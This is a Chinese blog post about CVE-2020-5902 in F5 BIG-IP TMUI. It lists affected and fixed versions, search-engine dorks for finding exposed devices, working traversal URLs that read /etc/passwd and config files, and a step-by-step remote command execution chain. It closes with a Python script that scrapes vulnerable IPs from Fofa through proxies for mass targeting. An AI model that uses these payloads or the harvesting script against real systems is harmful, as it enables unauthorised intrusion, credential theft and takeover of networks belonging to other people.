美文网首页
Python3爬虫爬取Fofa漏洞IP实战

Python3爬虫爬取Fofa漏洞IP实战

作者: LMcream | 来源:发表于2020-07-27 18:35 被阅读0次

    Python3爬虫实战F5 BIG-IP TMUI(CVE-2020-5902)远程代码执行漏洞

    发一个之前写好的文章,但是没放出来,趁着简书今天可以重新发文章顺便发出来。

    一、漏洞简述

    F5 BIG-IP 是美国F5公司一款集成网络流量管理、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

    前不久F5官方公布了在流量管理用户界面(TMUI)配置实用程序的特定页面中存在一处远程代码执行漏洞。攻击者可以利用该漏洞构造恶意请求,造成任意Java 代码执行,进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

    影响版本

    BIG-IP 15.x: 15.1.0/15.0.0
    BIG-IP 14.x: 14.1.0 ~ 14.1.2
    BIG-IP 13.x: 13.1.0 ~ 13.1.3
    BIG-IP 12.x: 12.1.0 ~ 12.1.5
    BIG-IP 11.x: 11.6.1 ~ 11.6.5

    验证截图:

    漏洞复现

    搜索语法

    shodan
    http.favicon.hash:-335242539
    fofa
    title="BIG-IP®- Redirect"
    google
    intitle:"BIG-IP" inurl:"tmui"
    

    POC

    https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
    https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
    https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
    https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
    

    RCE

    1、修改alias ,将list设置成bash命令
    htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
    
    2、生成bash文件并写入要执行的命令
    htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/checksafe&content=whoami
    
    3、执行bash文件
    htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/checksafe
    
    4、还原alias设置,防止影响目标正常使用
    https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
    

    修复方案

    升级到以下版本

    BIG-IP 15.x: 15.1.0.4
    BIG-IP 14.x: 14.1.2.6
    BIG-IP 13.x: 13.1.3.4
    BIG-IP 12.x: 12.1.5.2
    BIG-IP 11.x: 11.6.5.2

    实战脚本

    将脚本保存为4.py,直接运行:python3 4.py,会将匹配结果保存到当前目录下的result.txt中,此脚本可多次利用爬取Fofa里的漏洞IP。

    需要是Fofa的用户,不是就去注册个(普通用户只允许访问前五页),脚本会提示输入用户的cookie。这里只放出爬取到对应的网站,检测漏洞的部分代码就不放了。

    查看result.txt可以看到匹配了很多具有漏洞的网站,里面可能会有重复IP,是因为爬取的端口不同,影响不大:

    import requests
    from lxml import etree
    import random
    import time
    import urllib
    import base64
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",
    }
    
    #这里的代理IP需要自己去爬取或者添加
    proxylist = [
        {'HTTP': '112.84.54.35:9999'}, 
        {'HTTP': '175.44.109.144:9999'}, 
        {'HTTP': '125.108.119.23:9000'}
    ]
    
    proxy = random.choice(proxylist)
    
    def loadpage(url,begin,end):   
        for page in range(begin,end+1):
            print("正在爬取第"+str(page)+"页:")       
            fullurl = url+"&page="+str(page)     
            response = requests.get(fullurl,headers=headers,proxies=proxy).text     
            html = etree.HTML(response)
            req = html.xpath('//div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href')      
            result = '\n'.join(req)        
            with open(r'SaveIP.txt',"a+") as f:      
                f.write(result+"\n")    
                print("----------------第"+str(page)+"页已完成爬取----------------"+'\n')
    
    
    if __name__ == '__main__':
        q = input('请输入关键字,如 "BIG-IP®- Redirect"&&country="CN":')
        begin = int(input("请输入开始页数 最小为1:"))
        end = int(input("请输入结束页数 最大为5:"))
        cookie = input("请输入你的Cookie:")
    
        cookies = '_fofapro_ars_session='+cookie+';result_per_page=20'
        headers['cookie'] = cookies
    
        url = "https://fofa.so/result?"
        key = urllib.parse.urlencode({"q":q})
        key2 = base64.b64encode(q.encode('utf-8')).decode("utf-8")
    
        url = url+key+"&qbase64="+key2
    
        loadpage(url,begin,end)  
        time.sleep(5)
    

    大佬随手给个赞呗 0.0


    相关文章

      网友评论

          本文标题:Python3爬虫爬取Fofa漏洞IP实战

          本文链接:https://www.haomeiwen.com/subject/ymizlktx.html